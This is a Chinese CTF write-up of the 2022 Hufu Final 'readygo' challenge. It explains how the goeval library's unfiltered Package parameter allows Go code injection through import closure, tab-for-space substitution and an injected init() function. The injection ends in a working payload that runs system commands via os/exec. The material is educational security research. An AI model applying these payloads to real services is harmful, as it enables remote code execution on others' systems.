前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >goeval代码注入导致远程代码执行(2022虎符Final)

goeval代码注入导致远程代码执行(2022虎符Final)

作者头像
Y1ng
发布2022-10-31 11:29:39
6240
发布2022-10-31 11:29:39
举报
文章被收录于专栏:颖奇L'Amore

Author: 颖奇L’Amore

Blog: www.gem-love.com

前言

题目来自于2022虎符CTF Final的readygo,给了源码

代码语言:javascript
复制
<span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
	eval <span class="hljs-string">"github.com/PaulXu-cn/goeval"</span>
	<span class="hljs-string">"github.com/gin-gonic/gin"</span>
	<span class="hljs-string">"regexp"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
	r := gin.Default()
	r.LoadHTMLFiles(<span class="hljs-string">"html/index.html"</span>, <span class="hljs-string">"html/result.html"</span>)
	r.GET(<span class="hljs-string">"/"</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(c *gin.Context)</span></span> {
		c.Header(<span class="hljs-string">"server"</span>, <span class="hljs-string">"Gin"</span>)
		c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"index.html"</span>, <span class="hljs-string">""</span>)
	})
	r.POST(<span class="hljs-string">"/parse"</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(c *gin.Context)</span></span> {
		expression := c.DefaultPostForm(<span class="hljs-string">"expression"</span>, <span class="hljs-string">"666"</span>)
		Package := c.DefaultPostForm(<span class="hljs-string">"Package"</span>, <span class="hljs-string">"fmt"</span>)
		match, _ := regexp.MatchString(<span class="hljs-string">"([a-zA-Z]+)"</span>, expression)
		<span class="hljs-keyword">if</span> match {
			c.String(<span class="hljs-number">200</span>, <span class="hljs-string">"Hacker????"</span>)
			<span class="hljs-keyword">return</span>
		} <span class="hljs-keyword">else</span> {
			<span class="hljs-keyword">if</span> res, err := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package); <span class="hljs-literal">nil</span> == err {
				c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"result.html"</span>, gin.H{<span class="hljs-string">"result"</span>: <span class="hljs-keyword">string</span>(res)})
			} <span class="hljs-keyword">else</span> {
				c.HTML(<span class="hljs-number">200</span>, <span class="hljs-string">"result.html"</span>, err.Error())
			}
		}
	})
	r.Run()
}

分析

题目分析

gin框架,漏洞主要在这里

代码语言:javascript
复制
expression := c.DefaultPostForm(<span class="hljs-string">"expression"</span>, <span class="hljs-string">"666"</span>) <span class="hljs-comment">// expression不能是字母</span>
Package := c.DefaultPostForm(<span class="hljs-string">"Package"</span>, <span class="hljs-string">"fmt"</span>)
eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package);

使用的eval是来自github.com/PaulXu-cn/goeval的第三方模块

分析一下goeval的源码,可见是代码的拼接 生成文件 然后运行

代码语言:javascript
复制
<span class="hljs-keyword">package</span> goeval

<span class="hljs-keyword">import</span> (
	<span class="hljs-string">"fmt"</span>
	<span class="hljs-string">"go/format"</span>
	<span class="hljs-string">"math/rand"</span>
	<span class="hljs-string">"os"</span>
	<span class="hljs-string">"os/exec"</span>
	<span class="hljs-string">"strings"</span>
	<span class="hljs-string">"time"</span>
)

<span class="hljs-keyword">const</span> (
	letterBytes   = <span class="hljs-string">"abcdefghijklmnopqrstuvwxyz"</span>
	letterIdxBits = <span class="hljs-number">6</span>                    <span class="hljs-comment">// 6 bits to represent a letter index</span>
	letterIdxMask = <span class="hljs-number">1</span>&lt;&lt;letterIdxBits - <span class="hljs-number">1</span> <span class="hljs-comment">// All 1-bits, as many as letterIdxBits</span>
	letterIdxMax  = <span class="hljs-number">63</span> / letterIdxBits   <span class="hljs-comment">// # of letter indices fitting in 63 bits</span>
)

<span class="hljs-keyword">var</span> (
	dirSeparator = <span class="hljs-string">"/"</span>
	tempDir      = os.TempDir()
	src          = rand.NewSource(time.Now().UnixNano())
)

<span class="hljs-comment">// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/</span>
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">RandString</span><span class="hljs-params">(n <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">string</span></span> {
	b := <span class="hljs-built_in">make</span>([]<span class="hljs-keyword">byte</span>, n)
	<span class="hljs-comment">// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!</span>
	<span class="hljs-keyword">for</span> i, cache, remain := n<span class="hljs-number">-1</span>, src.Int63(), letterIdxMax; i &gt;= <span class="hljs-number">0</span>; {
		<span class="hljs-keyword">if</span> remain == <span class="hljs-number">0</span> {
			cache, remain = src.Int63(), letterIdxMax
		}
		<span class="hljs-keyword">if</span> idx := <span class="hljs-keyword">int</span>(cache &amp; letterIdxMask); idx &lt; <span class="hljs-built_in">len</span>(letterBytes) {
			b[i] = letterBytes[idx]
			i--
		}
		cache &gt;&gt;= letterIdxBits
		remain--
	}
	<span class="hljs-keyword">return</span> <span class="hljs-keyword">string</span>(b)
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">Eval</span><span class="hljs-params">(defineCode <span class="hljs-keyword">string</span>, code <span class="hljs-keyword">string</span>, imports ...<span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(re []<span class="hljs-keyword">byte</span>, err error)</span></span> {
	<span class="hljs-keyword">var</span> (
		tmp = <span class="hljs-string">`package main</span>
<span class="hljs-string"></span>
<span class="hljs-string">%s</span>
<span class="hljs-string"></span>
<span class="hljs-string">%s</span>
<span class="hljs-string"></span>
<span class="hljs-string">func main() {</span>
<span class="hljs-string">%s</span>
<span class="hljs-string">}</span>
<span class="hljs-string">`</span>
		importStr <span class="hljs-keyword">string</span>
		fullCode  <span class="hljs-keyword">string</span>
		newTmpDir = tempDir + dirSeparator + RandString(<span class="hljs-number">8</span>)
	)
	<span class="hljs-keyword">if</span> <span class="hljs-number">0</span> &lt; <span class="hljs-built_in">len</span>(imports) {
		importStr = <span class="hljs-string">"import ("</span>
		<span class="hljs-keyword">for</span> _, item := <span class="hljs-keyword">range</span> imports {
			<span class="hljs-keyword">if</span> blankInd := strings.Index(item, <span class="hljs-string">" "</span>); <span class="hljs-number">-1</span> &lt; blankInd {
				importStr += fmt.Sprintf(<span class="hljs-string">"\n %s \"%s\""</span>, item[:blankInd], item[blankInd+<span class="hljs-number">1</span>:])
			} <span class="hljs-keyword">else</span> {
				importStr += fmt.Sprintf(<span class="hljs-string">"\n\"%s\""</span>, item)
			}
		}
		importStr += <span class="hljs-string">"\n)"</span>
	}
	fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

	<span class="hljs-keyword">var</span> codeBytes = []<span class="hljs-keyword">byte</span>(fullCode)
	<span class="hljs-comment">// 格式化输出的代码</span>
	<span class="hljs-keyword">if</span> formatCode, err := format.Source(codeBytes); <span class="hljs-literal">nil</span> == err {
		<span class="hljs-comment">// 格式化失败,就还是用 content 吧</span>
		codeBytes = formatCode
	}
	<span class="hljs-comment">//	fmt.Println(string(codeBytes))</span>
	<span class="hljs-comment">// 创建目录</span>
	<span class="hljs-keyword">if</span> err = os.Mkdir(newTmpDir, os.ModePerm); <span class="hljs-literal">nil</span> != err {
		<span class="hljs-keyword">return</span>
	}
	<span class="hljs-keyword">defer</span> os.RemoveAll(newTmpDir)
	<span class="hljs-comment">// 创建文件</span>
	tmpFile, err := os.Create(newTmpDir + dirSeparator + <span class="hljs-string">"main.go"</span>)
	<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
		<span class="hljs-keyword">return</span> re, err
	}
	<span class="hljs-keyword">defer</span> os.Remove(tmpFile.Name())
	<span class="hljs-comment">// 代码写入文件</span>
	tmpFile.Write(codeBytes)
	tmpFile.Close()
	<span class="hljs-comment">// 运行代码</span>
	cmd := exec.Command(<span class="hljs-string">"go"</span>, <span class="hljs-string">"run"</span>, tmpFile.Name())
	res, err := cmd.CombinedOutput()
	<span class="hljs-keyword">return</span> res, err
}

这里我们的package是没有被过滤的,但是goeval会用空格作为分割,然后来做模块的导入

代码语言:javascript
复制
<span class="hljs-keyword">if</span> blankInd := strings.Index(item, <span class="hljs-string">" "</span>); <span class="hljs-number">-1</span> &lt; blankInd {
	importStr += fmt.Sprintf(<span class="hljs-string">"\n %s \"%s\""</span>, item[:blankInd], item[blankInd+<span class="hljs-number">1</span>:])

所以基本可以肯定是通过Package进行代码注入

代码注入

这里我们可以注入Package一个")构造了import的闭合,但是其后还有一个") 就像这样:

代码语言:javascript
复制
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)"</span>

res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))

得到

代码语言:javascript
复制
<span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)<span class="hljs-string">"</span>
<span class="hljs-string">)</span>
<span class="hljs-string"></span>
<span class="hljs-string"></span>
<span class="hljs-string"></span>
<span class="hljs-string">func main() {</span>
<span class="hljs-string">fmt.Print(123)</span>
<span class="hljs-string">}</span>

于是我们可以在后面再注入进去一个var 这里还需要用\t来替换空格,因为空格是会被当做多个依赖包进行拆分的

代码语言:javascript
复制
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)\nvar\t(\na=\"1"</span>

res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))

得到如下代码 可以运行成功:

代码语言:javascript
复制

<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)
<span class="hljs-keyword">var</span>     (
a=<span class="hljs-string">"1"</span>
)



<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}

执行函数

尽管可以注入进去代码,但是执行依然是执行main函数,而main函数我们无法修改,导致没法执行其他的代码。

但是在go语言中有一个特殊的init()函数,他在main()之前自动执行,所以我们可以注入进去一个init()

代码语言:javascript
复制
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"fmt\"\n)\nfunc\tinit(){\nfmt.Print(\"我是init\")\n}\nvar\t(\na=\"1"</span>

res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))

得到

代码语言:javascript
复制
<span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
<span class="hljs-string">"fmt"</span>
)
<span class="hljs-function"><span class="hljs-keyword">func</span>    <span class="hljs-title">init</span><span class="hljs-params">()</span></span>{
fmt.Print(<span class="hljs-string">"我是init"</span>)
}
<span class="hljs-keyword">var</span>     (
a=<span class="hljs-string">"1"</span>
)



<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}

运行成功:

220249_mSLb4j
220249_mSLb4j

执行系统命令

下一步就是执行系统命令了,可以这样执行:

代码语言:javascript
复制
<span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
	<span class="hljs-string">"fmt"</span>
	<span class="hljs-string">"os/exec"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
	cmd := exec.Command(<span class="hljs-string">"ls"</span>)
	out, _ := cmd.CombinedOutput()
	fmt.Println(<span class="hljs-keyword">string</span>(out))
}

于是构造这样的Payload:

代码语言:javascript
复制
expression := <span class="hljs-string">"123"</span>
Package := <span class="hljs-string">"\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"</span>

res, _ := eval.Eval(<span class="hljs-string">""</span>, <span class="hljs-string">"fmt.Print("</span>+expression+<span class="hljs-string">")"</span>, Package)
fmt.Println(<span class="hljs-keyword">string</span>(res))

生成的代码是

代码语言:javascript
复制
<span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
 <span class="hljs-string">"os/exec"</span>
 <span class="hljs-string">"fmt"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span>    <span class="hljs-title">init</span><span class="hljs-params">()</span></span>{
cmd:=exec.Command(<span class="hljs-string">"ls"</span>)
out,_:=cmd.CombinedOutput()
fmt.Println(<span class="hljs-keyword">string</span>(out))
}


<span class="hljs-keyword">var</span>(a=<span class="hljs-string">"1"</span>
)



<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
fmt.Print(<span class="hljs-number">123</span>)
}

ls命令运行成功

220531_8qLp7f
220531_8qLp7f
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言▸
  • 分析▸
    • 题目分析▸
      • 代码注入▸
        • 执行函数▸
          • 执行系统命令▸
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档